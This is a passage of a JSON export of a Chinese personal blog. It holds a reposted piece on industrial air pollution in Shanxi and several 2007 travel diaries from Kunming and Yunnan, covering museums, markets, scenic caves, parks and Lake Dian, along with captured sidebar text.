href=\"http://blog.sina.com.cn/u/1219548027\"\u003e柴静\u003c/a\u003e，之所以转这篇blog是因为我看了后觉得很恐怖，也提醒和呼吁大家保护我们赖以生存的环境。\u003c/p\u003e\n\u003cp\u003e一\u003cbr\u003e\n\u0026ldquo;你见过星星么?\u0026rdquo;\u003cbr\u003e\n\u0026ldquo;没有\u0026rdquo;。\u003cbr\u003e\n\u0026ldquo;你见过白云么?\u0026rdquo;\u003cbr\u003e\n\u0026ldquo;没有\u0026rdquo;\u003cbr\u003e\n\u0026ldquo;空气是什么味道?\u0026rdquo;\u003cbr\u003e\n\u0026ldquo;臭的\u0026quot;她用手扇扇鼻子。\u003cbr\u003e\n这是6岁的山西人王惠琴眼中的世界。她闻到的味道是焦油的气味，不过更危险是她闻不到的无味气体，那是一种叫苯并芘的强致癌物，超标9倍。\u003cbr\u003e\n离她的教室50米的山坡上，是一个年产60万吨的焦化厂，对面100米的地方是两个化工厂，她从教室走回家的路上还要经过一个洗煤厂。\u003cbr\u003e\n不过，就算这么近，也看不清这些巨大的厂房，因为这里的空气的能见度不到十米。\u003cbr\u003e\n在只有灰黑的世界上，她的红色棉袄是唯一的颜色。\u003cbr\u003e\n                       二\u003cbr\u003e\n山涧很深，翡翠色的河流，乱石耸动，是远古以来河的面貌，两岸是稠绿的原始热带森林，千百年的巨大榕树从极高处垂下藤，到底部已经非常细了，叶子青嫩细小，一点点接近水面。\u003cbr\u003e\n面包树的树干上结满一球球红色的果实。\u003cbr\u003e\n\u0026ldquo;是长来给鸟吃的\u0026quot;划船的男人说。\u003cbr\u003e\n两岸都是香蕉树，果实尚青。\u003cbr\u003e\n他收起桨，要我们拿好东西，别让附近的猴子抢走。\u003cbr\u003e\n船一拐过弯，有群年青人，架在悬崖上凿石刻，十数米的石壁，绵延不尽。钉铛声在山间传很远，有男子赤身站在河中间，弯腰鞠起一捧水喝，铜色的小臂坚实虬劲。\u003cbr\u003e\n抬起头，阿勇河上空群鸟乱飞。\u003c/p\u003e","title":"山西环境污染让人触目惊心"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/02/06/on-the-flight-to-yunnan/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"云南行·在途中"},{"content":"这篇本来应该在本周三发表的，可惜照片始终传不到flickr，只能作罢。周三是在云南待的最后一天，订了周四的机票。一般旅游的最后一天游客都会出门买一些当地的特色产品，我也不例外。那天天气阴，早上的时候还下了场小雨，地上湿湿的，天气预报报那天有小雨。\n出门之前在\u0026rsquo;Google地图\u0026lsquo;和\u0026rsquo;Baidu知道\u0026lsquo;查找昆明的特色产品专卖市场，众说纷纭，记了几个，在路上碰到哪个就去哪买吧。我一直想去昆明市博物馆，到一个城市了解她的历史文化博物馆是首选，再加上昆明市博物馆还有我一直向往的恐龙化石展，所以我决定在这天去那看看。昆明市博物馆离我住的地方很近，走10多分钟就到了。昆博不大，昆明市内还有一个云南省博物馆要比市博物馆大，但是没有恐龙展。\n昆明市博物馆\n昆明市博物馆之地藏寺经幢\n在博物馆内找了半天也不见卖票的，咨询了工作人员才知道，因恐龙馆重新装修，整个博物馆免费开放。就想看恐龙展，居然不开放，郁闷之情油然而生。既然来了就看看吧。前面已经说了，这个博物馆很小，除了恐龙观，还有一个古文化展和矿物标本展，后者还是比较吸引我的。\n昆明市博物馆之\u0026rsquo;龙盘\u0026rsquo;\n昆明市博物馆之三叶虫类化石\n昆明市博物馆之震旦角石\n昆明市博物馆之琥珀\n看完这些矿物标本后，发现旁边的一个展馆开着门，往里面偷看一眼，发现很多油漆工人正在装修，馆内油漆味道很浓，工人都带着口罩，再一看这不是我一直想看的恐龙馆吗！周围没有管理人员，这样的机会难得呀。遂冒着吸入\u0026rsquo;毒气\u0026rsquo;的危险，\u0026lsquo;闯入\u0026rsquo;恐龙观，拿起相机以最快的速度解决战斗，下面是我的战利品^_^。\n昆明市博物馆之恐龙展示\n昆明市博物馆之中国双嵴龙\n昆明市博物馆之贵州龙化石\n昆明市博物馆之甘氏四川龙\n昆明市博物馆之恐龙蛋\n昆明市博物馆之天府峨嵋龙\n心满意足的离开博物馆，下一个目标找到一个手工艺品市场。坐车到正义路，因为上一次游览金马碧鸡坊的时候了解到那里聚集着很多老铺子，没准就能发现好东西。沿着一条东西向的老街走了一阵，居然在左手侧发现\u0026rsquo;景星花鸟市场\u0026rsquo;，昆明的花鸟市场可不仅仅是买花鸟的，里面云南的特色产品都有卖的，整座市场好像起码有四层，我只顾着看那些精美的商品了，都忘记具体几层了。我的目标是云南少数民族特色布艺品以及手工制品，在整个市场内整整转悠了近2个小时，买了蜡染，扎染等等有特色的布艺品，价格都很便宜，很多东西都是北方见不到的，建议大家来这里看看。\n蜡染艺术品之傣族民风\n蜡染艺术品之苗族民风\n扎染布挎包\n出门的时候居然下起了雨，而且还不小，本想去市场对面的\u0026rsquo;聂耳故居\u0026rsquo;看看的计划也泡汤了，由于整个市场处于步行街，Taxi都找不到，以致于到宾馆时身上都被浇透了，狼狈的很^_^。\n","permalink":"https://tonybai.com/2007/02/03/impressions-of-kunming-museum-and-handcrafts/","summary":"\u003cp\u003e这篇本来应该在本周三发表的，可惜照片始终传不到\u003ca href=\"http://www.flickr.com/photos/bigwhite\"\u003eflickr\u003c/a\u003e，只能作罢。周三是在云南待的最后一天，订了周四的机票。一般旅游的最后一天游客都会出门买一些当地的特色产品，我也不例外。那天天气阴，早上的时候还下了场小雨，地上湿湿的，天气预报报那天有小雨。\u003c/p\u003e\n\u003cp\u003e出门之前在\u0026rsquo;\u003ca href=\"http://ditu.google.com/\"\u003eGoogle地图\u003c/a\u003e\u0026lsquo;和\u0026rsquo;\u003ca href=\"http://zhidao.baidu.com/\"\u003eBaidu知道\u003c/a\u003e\u0026lsquo;查找昆明的特色产品专卖市场，众说纷纭，记了几个，在路上碰到哪个就去哪买吧。我一直想去昆明市博物馆，到一个城市了解她的历史文化博物馆是首选，再加上昆明市博物馆还有我一直向往的恐龙化石展，所以我决定在这天去那看看。昆明市博物馆离我住的地方很近，走10多分钟就到了。昆博不大，昆明市内还有一个云南省博物馆要比市博物馆大，但是没有恐龙展。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: http://farm1.static.flickr.com/98/377205011_173db70474.jpg?v=0\" loading=\"lazy\" src=\"http://lh3.ggpht.com/bigwhite.cn/Rk3QFumnQ7I/AAAAAAAAAbQ/Oo_EsmUfGiM/s400/%E6%98%86%20%20E6%98%8E%E5%B8%82%E5%8D%9A%E7%89%A9%E9%A6%86.jpg\"\u003e\u003cbr\u003e\n昆明市博物馆\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: http://farm1.static.flickr.com/183/377206019_e804ef4508.jpg?v=0\" loading=\"lazy\" src=\"http://lh4.ggpht.com/bigwhite.cn/Rk3Qm-mnRGI/AAAAAAAAAco/8Q_4KH8QLhk/s400/%E6%98%86%20%20E6%98%8E%E5%B8%82%E5%8D%9A%E7%89%A9%E9%A6%86%E4%B9%8B%E5%9C%B0%E8%97%20%208F%E5%AF%BA%E7%BB%8F%E5%B9%A2.jpg\"\u003e\u003cbr\u003e\n昆明市博物馆之地藏寺经幢\u003c/p\u003e\n\u003cp\u003e在博物馆内找了半天也不见卖票的，咨询了工作人员才知道，因恐龙馆重新装修，整个博物馆免费开放。就想看恐龙展，居然不开放，郁闷之情油然而生。既然来了就看看吧。前面已经说了，这个博物馆很小，除了恐龙观，还有一个古文化展和矿物标本展，后者还是比较吸引我的。\u003c/p\u003e","title":"昆明印象·市博物馆和特色手工艺品"},{"content":"昨天晚上定闹钟没成功，不知道是手机的Bug还是我操作失误，本来想定在6:20的，结果8:20才响。洗个澡，吃过早饭，出门开始九乡之旅。像这样的不算近程的个人自助游出发前一定要做好充足的准备，比如交通线路，景点游览线路及注意事项等等，都要做到心中有数，有备无患。\n如果选择自助游，出门前一定不要忘记告诉你的朋友你去哪了，否则一旦发生意外，没人知道你在什么地方。根据我查到的资料，早上9:15从白塔路与人民东路路口坐103路到东部客运站，东部客运站又叫金马客运站，这里聚集着去往昆明附近各个乡镇的客车，基本上还是很规范的。由于没有直达九乡的客车，我得先到宜良，然后再从宜良乘车去九乡。去宜良的车每8分钟就一辆，很准时，基本上什么时候去都有而且不用等很长时间，但是注意的是一定要到正规售票处买票，不要轻信门口那些’托’的话。去宜良的车走高速，13元一张票，大约1个小时就到宜良的客运站。客车也很新，还有车载影音系统，车启动电影就开始演了。10:40到达宜良，买了去九乡的票，7元钱，中巴车，票面上说11:10分开车，漫长的等到了近11:20，中巴司机才上来验票开车。从宜良到九乡的路况不是很好，双向单车道，而且大部分路都是盘山路，司机开的很快，让我感觉很不安全。这里建议那些容易晕车的人，最好之前吃点晕车药，否则颠簸的盘山路肯定让你难受的要命。科学证明上亿年前云南还是一片汪洋，因地球板块挤压隆起形成了目前的高原地貌，这让我感到自己有点儿海底穿行的感觉，看到两旁山上露出的岩层更加深了我的这种感觉。\n一个小时的颠簸后，我们来到了九乡风景区的正门前，都说’上有石林，下有九乡’，从正门看去看不出九乡有什么特别的地方，山也不雄伟，可就是这样一个不起眼的山下却隐藏着大自然的鬼斧神工。来九乡旅游的人可真是不少，停车场的车已经饱和了。\n九乡风景区之正门\n九乡风景区之碑记\n九乡成人门票90元，当然如果你符合景区规定的任何一项优惠条件你都可以以60元买下门票。进入景区还是先看了一下导游图，并用相机拍下来。景点的旅游提示告诉我：先游览第一个景点荫翠峡。九乡有两大吸引游客之处，一是喀斯特地貌行程的溶洞，二就是这长近千米，深十余米的，素有’小三峡’、’滇中第一幽峡’的荫翠峡了。抵达荫翠峡有两条路，一是坐电梯下峡，另一个徒步从台阶下去。这里建议不要急于下峡，从山上俯看荫翠峡也别有另一番兴奋。\n九乡风景区之俯看荫翠峡\n坐着电梯下到峡底，按照旅游建议:先坐船游览美丽的荫翠峡，坐船前不要忘记先领一件救生衣，以防万一。每条船上最多可乘12人，有一个工作人员在船尾掌舵，船上有多余的船桨，如果你有兴趣可以自己来划，因为峡中的水很静，所以船很好划，不要担心自己没有划过，照猫画虎就行了，划船总看过吧^_^。剩下的就是坐在船上欣赏峡中美景了。\n九乡风景区之入峡电梯\n九乡风景区之荫翠峡岩壁碑记\n九乡风景区之荫翠峡仰视\n九乡风景区之荫翠峡渡船处\n九乡风景区之荫翠峡渡船上远观\n九乡风景区之荫翠峡山青水秀\n上岸后沿着’惊魂峡’一直走下去，直奔雄狮大厅，雄狮大厅就是一个地下大厅，真的是很大，听说在这里举办过音乐会，能容纳下万人，之所以叫雄狮大厅，是因为洞口有一个类狮子状的石像。\n九乡风景区之惊魂峡岩壁碑记\n九乡风景区之惊魂峡势陡水急\n九乡风景区之雄狮大厅全景\n九\n乡风景区之雄狮大厅岩壁碑记\n九乡风景区之雄狮大厅的雄狮石像\n出了雄狮大厅，下一个景点-神女宫，神女宫是一个典型的喀斯特地貌地下风光的代表，其间钟乳石聚集，争奇斗艳。\n九乡风景区之神女宫’玉树瑷花’\n九乡风景区之神女宫’仙翁醉卧’\n九乡风景区之神女宫倒钟乳石\n出洞后走向另两个景点-雌雄双瀑和神田。神田是天然形成的方形块儿状的石景，其中间凹入，四周则像水坝一样，听导游讲解最深的水有近10米，我们看到的都是充满水的神田了。雌雄双瀑这是两条汇集在一起河水支流形成的，很是壮观，在瀑布边矗立，你会听到如雷鸣般的瀑布声音。\n九乡风景区之进入神田和雌雄双瀑的溶洞中\n九乡风景区之’小神田’\n九乡风景区之雌雄双瀑\n九乡风景区之神田\n继续前行是九乡最后一个景点彝家寨，这里有彝族小伙姑娘的彝族风俗表演，这个表演是和游客互动的，你如果有兴趣可以参与哟。\n九乡风景区之彝家寨\n九乡风景区之彝家寨的土司城堡\n九乡风景区之彝族民俗互动表演\n‘蝙蝠洞’就是出口了，蝙蝠洞从下到上共有300多台阶，如果你体力不行的话，可以乘’滑干’；蝙蝠洞中还有一处’地下倒石林’的景观。\n九乡风景区之蝙蝠洞出口\n九乡风景区之地下倒石林\n从蝙蝠洞出来后，九乡景点的游览也就算结束了，现在的任务就是出景点，这里提供两种出景点的方式，一种上山缆车，一种自助盘山路；我选择了后者，因为时间充裕，我想多看看。还行在盘山路上也看到了九乡景点的山景。\n九乡风景区之陡壁\n九乡风景区之缆车\n坐车回到宜良，不急于回昆明，因为还没品尝著名的宜良烤鸭-兰老鸭，当地有’北有全聚德，南有兰老鸭’一所。。吃正宗烤鸭要到学成饭店，这个饭店离客运站还比较远，我花了4元钱坐摩的才找到学成饭店。我自己一个人叫了一只烤鸭，一个小炒菜，结果证明叫多了。全天下的烤鸭都是很油的，味道儿还行，我吃到后面都吃不出什么味道了，饱了。这顿餐花费25元，其中烤鸭20元一只，还不算贵，大家可以到这里来尝尝。\n宜良兰烤鸭\n","permalink":"https://tonybai.com/2007/01/27/a-tour-of-yunnan-jiuxiang/","summary":"\u003cp\u003e昨天晚上定闹钟没成功，不知道是手机的Bug还是我操作失误，本来想定在6:20的，结果8:20才响。洗个澡，吃过早饭，出门开始九乡之旅。像这样的不算近程的个人自助游出发前一定要做好充足的准备，比如交通线路，景点游览线路及注意事项等等，都要做到心中有数，有备无患。\u003c/p\u003e","title":"云南九乡游记"},{"content":"今天昆明阴天，在我出去之前还下过一场小雨，天气很凉，在圆通山和金殿两者之间我选择了后者，因为网上说后者更好玩一些。丛白塔路出发并没有直达金殿景区的车，我在白塔路与人民路交叉口坐47路先到世博园正门，然后倒146或者71到金殿景区。世博园和金殿之间也可以通过索道互达，但是我并没有参观世博园的打算，所以在世博园前逛逛就换车了。\n天气虽然不好，但是游人也不少。特别是在世博园门前有很多新婚的在拍外景，还有很多婚车。因为去年去过沈阳的世博园了，估计大同小异，也就把昆明世博园的优先级放到了最后，今天没有参观的打算，只是在正门前拍了一些照片。\n昆明世博园正门广场全景\n昆明世博园正门各国国旗\n昆明世博园正门\n昆明世博园吉祥物\n从世博园到金殿景区大约有三站地，还是蛮远的。金殿坐落于一座叫’风鸣山’或者’鹦鹉山’的山上，金殿之所以有名，是因为它是由清初吴三桂所建，是我国现存最大、最高，保存最完好的纯铜铸殿。金殿的成人门票价格是20元，略贵了些，不过在这样一个旅游城市，行情就是这样。\n昆明金殿景观区正门\n沿着石阶一直向上，依次路过二天门、三天门和魁星楼，最后到达太和宫，即金殿所在。开始石阶还是很陡的，好久不运动的我出了一身汗，凉风一吹，真怕感冒，还好比较幸运。\n昆明金殿景观区之白兰花\n昆明金殿景观区之二天门\n昆明金殿景观区之三天门\n昆明金殿景观区之魁星楼\n昆明金殿景观区之金殿\n现在的金殿成了烧香拜佛的地方了。继续前行，是金殿景观区的另一个重要景观-钟楼，钟楼里有两个钟，一个是明朝永乐时期的永乐钟，另一个则是清朝建造的风鸣钟。另外整座钟楼的内部结构也很具特色，特别是其楼梯的设计。在钟楼与金殿之间还有一座美人雕像－据说就是陈圆圆的雕像，它贮立在青山绿水之中，享受着日精月华^_^。\n昆明金殿景观区之陈圆圆雕像\n昆明金殿景观区之钟楼\n昆明金殿景观区之钟楼的内部结构1\n昆明金殿景观区之钟楼的内部结构2\n昆明金殿景观区之永乐钟\n昆明金殿景观区之风鸣钟\n金殿景区还有多个主题园艺景区可供游客欣赏，包括杜鹃园，茶花园，蕨类园以及一个很大的温室景区。这部分景区小路较多，小心迷路。\n昆明金殿景观区之林间小路\n昆明金殿景观区之花丛小路\n昆明金殿景观区之孔雀雕像\n昆明金殿景观区之杜鹃花\n昆明金殿景观区之茶花丛\n昆明金殿景观区之一株美丽茶花\n昆明金殿景观区之幽静一角\n昆明金殿景观区之绿色植物丛\n昆明金殿景观区之花卉温室\n昆明金殿景观区之仙人掌小山\n昆明金殿景观区之特色仙人掌\n金殿景区的公交车一直运行到很晚，游客可以尽情的欣赏金殿的美景。\n","permalink":"https://tonybai.com/2007/01/26/impressions-of-kunming-gold-palace-and-world-horti-expo-garden/","summary":"\u003cp\u003e今天昆明阴天，在我出去之前还下过一场小雨，天气很凉，在圆通山和金殿两者之间我选择了后者，因为网上说后者更好玩一些。丛白塔路出发并没有直达金殿景区的车，我在白塔路与人民路交叉口坐47路先到世博园正门，然后倒146或者71到金殿景区。世博园和金殿之间也可以通过索道互达，但是我并没有参观世博园的打算，所以在世博园前逛逛就换车了。\u003c/p\u003e","title":"昆明印象·金殿和世博园外景"},{"content":"按照计划，今天游览大观楼，大观公园中的水系其实是滇池的一部分，大观公园西南方就是号称’高原明珠’的滇池，国内第六大淡水湖。西面则是西山，昆明的另一个景点，不过由于从大观公园不能直接通到西山，所以把西山留到以后再欣赏。\n到大观公园的交通很是方便，还是从白塔路出发，坐54路向西行，到终点即是。大观公园不是免费的，门票十元。买完票最好看看票后面对大观公园的介绍，做到重要景点心中有数。进门后右侧就是一个园区路线图，可细致看看，如果记不住可拿相机拍下来备用。\n昆明大观公园正门\n大观公园原名叫’近华浦’，从正门进入后，直走没多长时间就可以看到一个塔楼，这个就是’近华浦’的标志。\n昆明大观公园之近华浦\n昆明大观公园之近华浦的穹顶\n公园内自然少不了花草树木的点缀，我也捕捉下些许镜头。\n昆明大观公园绿景\n昆明大观公园之不知名花\n大观楼在公园的中心附近，一座很壮观的楼亭，听说进楼参观需要另花钱买门票，我是没这个兴趣，拍拍外景足矣^_^。\n昆明大观楼\n昆明大观楼碑记\n大观楼左后方有一处假山，叫’彩云崖’，不知道为什么起这么一个名字，不过挺有特色的。\n昆明大观公园之彩云崖\n由于大观公园在滇池边上，所以园内经常有海鸥嬉戏、群鸭戏水，这不我也抓拍到了一些。\n昆明大观公园之鸥戏柳堤1\n昆明大观公园之鸥戏柳堤2\n昆明大观公园之群鸭戏水\n在大观楼的右前方就是’西园’，这个园子很漂亮，其左侧就是滇池的支流了。园子中有很多主题雕塑，情调独特。\n昆明大观公园之一斗平川\n昆明大观公园之爱的主题1\n昆明大观公园之爱的主题2\n昆明大观公园之地平线1\n昆明大观公园之地平线2\n昆明大观公园之思想体系的进程\n昆明大观公园之圆\n昆明大观公园之西园的湖心小岛\n西园靠近滇池，湖风很大，所以很多风筝爱好者都聚集在这里放风筝。这时一个渡船人主动搭讪问我需不需要坐船在滇池上游玩拍照，欣赏西山睡美人(在滇池上远观西山，\n西山的连绵的形状就像一个仰卧的美人)，由于天色已晚，她说只搭载我一个人，但价格要贵一些，她要20元，来一次云南不在滇池上漂流一下也太遗憾了，遂答应了她。\n其实大观公园中的只是滇池的一角，如果想看滇池全貌需要到西山上俯视才行。坐在渡船上在碧波荡漾的滇池中穿行，湖面的风还是有些凉，渡船一个来回要近40分钟。\n昆明滇池上的渡船人\n昆明滇池湖面之一\n昆明滇池湖面之二\n昆明之西山睡美人\n落日滇池一角\n西园中的土是红土，这与东北的黑土地差别很大，和红土地合个影吧^_^。\n昆明大观公园之我与红土地的合影\n","permalink":"https://tonybai.com/2007/01/25/impressions-of-kunming-one-corner-of-lake-dian/","summary":"\u003cp\u003e按照计划，今天游览大观楼，大观公园中的水系其实是滇池的一部分，大观公园西南方就是号称’高原明珠’的滇池，国内第六大淡水湖。西面则是西山，昆明的另一个景点，不过由于从大观公园不能直接通到西山，所以把西山留到以后再欣赏。\u003c/p\u003e","title":"昆明印象·大观楼和滇池一角"},{"content":"昆明市中心有两个的景点，一个市金马碧鸡坊，另一个就是翠湖了，像这样的景点都是走马观花的看看即可的，不用花很长时间细致观赏的。昆明白天长，所以下班后我就去了这两个景点。\n沿着白塔路向南走，途径一个很壮观的过街天桥，在天桥西北